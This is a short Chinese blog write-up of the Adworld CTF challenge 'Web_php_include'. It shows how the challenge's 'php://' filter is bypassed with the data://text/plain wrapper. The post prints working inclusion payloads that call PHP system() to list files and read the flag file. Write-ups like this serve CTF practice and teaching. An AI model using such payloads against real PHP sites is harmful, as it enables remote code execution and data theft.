CTFer成长记录——CTF之Web专题·攻防世界-Web_php_include

发布时间 2023-08-07 22:09:18作者: MiracleWolf

一、题目链接

https://adworld.xctf.org.cn/challenges/list?rwNmOdr=1691398818171


二、解法步骤

  本题依旧是文件包含,但是这题不同,

while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}

  这条语句过滤掉了以往的php://filter/read=convert.base64-encode/resource=flag.php方式。绕过方式就是换一个伪协议,比如将php://换成data://text/plain,

  payload:?page=data://text/plain,<? system('ls;');?>

  然后尝试cat fl4gisisish3r3.php:

  ?page=data://text/plain,<?php system('cat fl4gisisish3r3.php');?>,如果页面没显示出来,就用bp抓包:

  

  得到flag。

三、总结

  本题是对文件包含的其他伪协议的运用,例如data://text/plain,<?php 代码?>,积累下来吧。